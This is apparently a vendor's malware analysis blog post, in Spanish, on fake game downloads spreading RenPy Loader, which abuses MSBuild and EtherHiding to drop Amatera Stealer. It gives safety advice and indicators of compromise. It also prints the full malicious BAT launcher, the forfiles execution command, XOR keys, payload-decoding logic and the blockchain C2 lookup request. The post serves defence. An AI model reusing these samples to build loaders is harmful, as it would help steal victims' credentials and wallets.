Los juegos falsos propagan ladrones con RenPy Loader, MSBuild y EtherHiding.

| 20 de julio de 2026
Logotipo de Ren'Py

Hemos detectado varias campañas que utilizan descargas falsas de juegos, mods, cracks y software para propagar RenPy Loader . Una vez instalado, el cargador inicia una compleja cadena de infección en varias etapas que abusa de MSBuild y la técnica EtherHiding antes de distribuir finalmente Amatera Stealer .

Amatera es un programa malicioso que roba información confidencial de un dispositivo infectado. Puede atacar contraseñas y otros datos almacenados en navegadores, monederos de criptomonedas, extensiones de navegador, aplicaciones de mensajería y archivos locales. Las credenciales y los datos de sesión robados también pueden permitir a los atacantes acceder a las cuentas en línea de la víctima.

La víctima puede ver lo que parece ser un instalador de juegos o software normal, mientras que el malware se ejecuta silenciosamente en segundo plano.

RenPy Loader, también conocido como RenEngine Loader, resulta particularmente interesante porque abusa de Ren'Py, un motor legítimo utilizado para crear novelas visuales, juegos narrativos y ficción interactiva. Al ocultar código malicioso dentro de software relacionado con los videojuegos, los atacantes pueden hacer que sus descargas parezcan más creíbles para quienes buscan juegos, modificaciones o software pirateado.

Anteriormente, hemos visto cómo los atacantes hacen un mal uso de herramientas de desarrollo legítimas y marcos de software emergentes, como Bun y Deno , para distribuir malware. RenPy Loader sigue el mismo patrón: los atacantes abusan de tecnología legítima para enmascarar la actividad maliciosa, complicar la cadena de infección y dificultar su detección.

También se ha observado que RenPy Loader distribuye otro malware, como HijackLoader y Lumma Stealer, lo que demuestra que la carga útil final puede variar entre campañas.

En este blog, analizamos una cadena de infección en la que Ren'Py descifra un archivo ZIP que contiene un archivo BAT y varios archivos de proyecto MSBuild. Estos archivos cargan un componente .NET infectado con un troyano, que a su vez decodifica otro componente malicioso.

Este componente malicioso utiliza una técnica llamada EtherHiding para localizar su servidor de comando y control (C2). En lugar de almacenar la dirección C2 directamente en el malware, los atacantes la ocultan en datos almacenados en una cadena de bloques pública. Posteriormente, el malware descarga las siguientes fases del ataque desde ese servidor, lo que dificulta la identificación e interrupción de la infraestructura de los atacantes.

Por último, examinamos las cargas útiles adicionales que, en última instancia, descifran y ejecutan Amatera Stealer.

Las descargas falsas infectan tu dispositivo.

La infección comienza cuando alguien descarga un supuesto juego, modificación, crack o programa informático. Encontramos archivos maliciosos distribuidos a través de:

  • Sitios web maliciosos
  • portales de descarga de juegos
  • Varios servicios para compartir archivos, incluidos Wormhole, GoFile, Google Drive y MEGA.

Estas son algunas de las páginas detectadas que inician la cadena de infección:

En varios casos, al hacer clic en un enlace de descarga, el usuario era redirigido a otro sitio web de descarga falso. Estas páginas utilizaban diseños diferentes y nombres de servicio inventados, lo que hacía que las campañas parecieran menos repetitivas y dificultaba la identificación de la infraestructura maliciosa.

A continuación se muestran ejemplos de páginas de descarga falsas utilizadas para distribuir el archivo malicioso:

El usuario descarga un archivo que contiene un archivo llamado Setup.exeAl abrir este archivo se inicia la cadena de infección.

Ejemplo de un archivo descargado de un sitio web malicioso.
Ejemplo de un archivo descargado de un sitio web malicioso.

La víctima ve una pantalla de carga o instalación, pero en segundo plano se está ejecutando código malicioso.

La pantalla de instalación
La pantalla de instalación

Cómo mantenerse a salvo

Tomar algunas precauciones puede reducir el riesgo de descargar juegos o software maliciosos:

  • Descarga juegos y software desde sitios web oficiales, tiendas de aplicaciones de confianza o plataformas de distribución reconocidas.
  • Trate con precaución el software pirateado, las modificaciones no oficiales y las versiones gratuitas de juegos de pago.
  • Ten cuidado si un enlace de descarga te redirige a través de varios sitios web o servicios de intercambio de archivos desconocidos.
  • Compruebe el contenido de los archivos descargados antes de abrir archivos ejecutables como Setup.exe.
  • Busque nombres de archivo inusuales, imágenes o archivos de texto que no tengan relación con el contenido descargado, y contenido que no coincida con lo que pretendía descargar.
  • Utilice software antimalware en tiempo real como Malwarebytes .
  • Mantén actualizados tu sistema operativo, navegador y software de seguridad.

Quienes están detrás de estas campañas crean constantemente nuevos sitios web y modifican sus páginas de descarga. Un instalador de aspecto profesional o un servicio de intercambio de archivos conocido no garantizan la seguridad de la descarga.

Análisis técnico del cargador RenPy

Ren'Py es un motor gratuito de código abierto para crear novelas visuales, juegos narrativos y ficción interactiva. Ren'Py permite la integración de scripts de Python, que los atacantes aprovechan para insertar código malicioso.

En este caso, encontramos código malicioso en los siguientes archivos y rutas:

Camino

Descripción

data/python-packages/sys_config/

Clases anti-sandbox

data/libwin32.rpa

Cargador

data/.GEg

Configuración cifrada con XOR

data/j3lpTcg7kBRN.E3

ZIP cifrado con XOR

El cargador de primera etapa extraído de libwin32.rpa Realiza las siguientes operaciones:

  • Lee la configuración data/.GEg y lo descifra usando la decodificación Base64 y XOR con la clave. 81034149cd6f48c8821340204f92766eEste archivo de configuración contiene la contraseña utilizada para extraer el archivo ZIP, junto con otros datos de configuración utilizados por el cargador.
  • Llamadas sys_config.is_sandboxed() y sale si se detecta un entorno aislado (sandbox).
  • Descifrado XOR data/j3lpTcg7kBRN.E3 usando la clave A50YyY1 para obtener el ZIP.
  • Extrae el contenido del archivo ZIP a una carpeta aleatoria en %TEMP%/tmp-{5 digits}-{12 characters} y escribe un :Zone.Identifier flujo de datos alternativo (ADS) con ZoneId=0 para eliminar la Marca de la Web y eludir SmartScreen. También inserta un elemento aleatorio. REM cadena en el archivo BAT extraído.
  • Lanza la carga útil usando forfiles.exe.
  • Envía la máquina MAC dirección y ID de campaña a un sitio web de seguimiento.
La configuración decodificada
La configuración decodificada
Los archivos contenidos en el ZIP descifrado
Los archivos contenidos en el ZIP descifrado

En este caso, el archivo BAT extraído se ejecutó utilizando el siguiente comando:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contenido del archivo BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

El archivo BAT ejecutado realiza las siguientes operaciones:

  • Se reinicia en una consola sin interfaz gráfica cuando es compatible:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Habilita las funciones de propiedad de MSBuild, lo que permite métodos adicionales como AppDomain.CurrentDomain.Load para ser ejecutado:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Ejecuta MSBuild.exe con Nancy.csproj como su archivo de proyecto. Durante la evaluación del proyecto, una función de propiedad MSBuild maliciosa decodifica en hexadecimal y carga de forma reflectiva la siguiente etapa de la DLL.

La DLL de Nancy infectada con troyanos y el código de bytes personalizado

Nancy.csproj importa los tres archivos extraídos Nancy.csproj.user, Internal.props, y Nancy.Compile.targetsLa DLL maliciosa está dividida en tres valores almacenados en estos archivos.

Los archivos importados dentro de Nancy.csproj
Los archivos importados dentro Nancy.csproj

Nancy.Compile.targets concatena los tres valores para decodificar hexadecimalmente la DLL y ejecutarla. DefaultEvaluator5 método que utiliza AppDomain.CurrentDomain.Load.CreateInstance.

Ejecución de DefaultEvaluator5
Ejecución de DefaultEvaluator5

Lo interesante es que Nancy.csproj Cumple dos funciones: es el proyecto MSBuild que se utiliza para ejecutar el cargador de primera etapa y, además, contiene la siguiente etapa decodificada por el cargador.

La DLL es una versión troyanizada de la biblioteca Nancy .NET y es un cargador .NET ofuscado con código malicioso implementado en el DefaultEvaluator5 clase. Parte de la funcionalidad de la DLL está implementada en código de bytes personalizado ejecutado por este método principal.

Comparación entre las DLL de Nancy legítimas y las troyanizadas
Comparación entre las DLL de Nancy legítimas y las troyanizadas

La DLL realiza las siguientes operaciones:

  • Descifra cadenas de texto a partir de recursos mediante descifrado XOR de múltiples claves.
  • Resuelve las API utilizando el hash de API y GetDelegateForFunctionPointer.
  • Modifica la configuración de red, incluyendo la desactivación de la validación de certificados TLS y la configuración del proxy del sistema predeterminado.
  • Realiza operaciones antiforenses.
  • Lee el _czzf variable de entorno, que apunta a la anterior Nancy.csproj toma el archivo, luego lo decodifica y lo ejecuta.

El principal DefaultEvaluator5 Este método recupera cadenas e interpreta el código de bytes contenido en los siguientes recursos:

  • Nancy.Runtime.mvlorimu: Contiene el código de bytes personalizado. El código de bytes es interpretado por _pv y _sroImplementa 23 códigos de operación que se utilizan para descifrar otras cadenas y cargar la DLL de la siguiente etapa.
  • Nancy.Data.tcnlhxw y Nancy.Resources.kxxodpContiene las cadenas cifradas y otros datos utilizados para el descifrado, incluidas las claves, las longitudes, los índices y la caja S.

Las cadenas se descifran utilizando el siguiente algoritmo:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

La siguiente etapa de DLL, GollopDevest, se decodifica a partir del mismo Nancy.csproj archivo usando la siguiente lógica y cargado con AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
La siguiente etapa codificada entre los marcadores del paquete
La siguiente etapa codificada entre el Pack marcadores

Ocultación de éter y robo de Amatera

La siguiente etapa extraída es una DLL llamada GollopDevest.dll, un descargador .NET que utiliza la técnica EtherHiding para obtener su servidor de comando y control (C2) y descargar la siguiente etapa.

El dominio C2 cifrado se obtiene mediante un JSON-RPC de Ethereum. eth_call solicitud a bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Es probable que este descargador de EtherHiding forme parte de una operación de malware como servicio (MaaS), ya que hemos detectado su distribución en otras campañas, incluidas las campañas de ClickFix.

A continuación, se descargan tres cargas útiles adicionales: dos DLL de .NET llamadas PavinWide (una DLL anti-análisis) y GollopDevest (una DLL de carga), y un PE de C++ llamado WPA.exe, que es una versión ofuscada de Amatera Stealer.

En este caso, estas cargas útiles se descargaron desde:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Las DLL de .NET están fuertemente ofuscadas mediante el aplanamiento del flujo de control y llamadas indirectas a través de calli/ldftn, cifrado de cadenas con varios algoritmos, código basura, código muerto y cadenas falsas como rutas URL.

El análisis de estas DLL aún está en curso y se explorará con más detalle en las próximas publicaciones del blog.

Indicadores de Compromiso (IOC)

Dominios

  • downpro[.]net – Sitio web de descargas falsas
  • macisofile[.]sbs – Sitio web de descargas falsas
  • visitmama[.]blog – Sitio web de descargas falsas
  • visitmama[.]guru – Sitio web de descargas falsas
  • getgamerfree[.]com – Sitio web de descargas falsas
  • fullgames[.]digital – Sitio web de descargas falsas
  • flingbase[.]net – Sitio web de descargas falsas
  • citronemu[.]com – Sitio web de descargas falsas
  • filemodo[.]xyz – Infraestructura de distribución
  • storage06x[.]cfd – Infraestructura de distribución
  • p03sil[.]cyou – Infraestructura de distribución
  • wimsedas[.]xyz – Infraestructura de distribución
  • againstmor[.]store – Infraestructura de distribución
  • host03q[.]cfd – Infraestructura de distribución
  • cloud01y[.]cfd – Infraestructura de distribución
  • storage11x[.]cfd – Infraestructura de distribución
  • storage04x[.]cfd – Infraestructura de distribución
  • host82p[.]cfd – Infraestructura de distribución
  • cloud05y[.]cfd – Infraestructura de distribución
  • analyticstrack-pzh[.]click - Seguimiento de Sitio Web
  • login.orbitalframework[.]cc – Amatera Stealer C2

Direcciones IP

  • 144.124.251[.]171 – Se utiliza para obtener cargas útiles adicionales
  • 195.63.140[.]33 – Se utiliza para obtener cargas útiles adicionales
  • 78.40.196[.]252 – Se utiliza para obtener cargas útiles adicionales

Hashes de archivos (MD5)

  • 29203ca123d51b1b33505a0813d360df – Cargador de primera etapa (DLL troyanizada)
  • 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (DLL de descarga)
  • 681DB529E402467A4B0567C82A350FC0 – DLL PavinWride (DLL anti-análisis)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL de GollopDevest (DLL de cargador)
  • F8453EFE408CE25B9484F872797E3D63 – Carga útil final

Premio Elección de los Editores de CNET 2026

Según CNET. Lee su reseña


Sobre el autor

Gabriele es ingeniero de investigación de malware y le apasiona combatirlo. Cuando no está trabajando, disfruta de la naturaleza, el arte y los animales.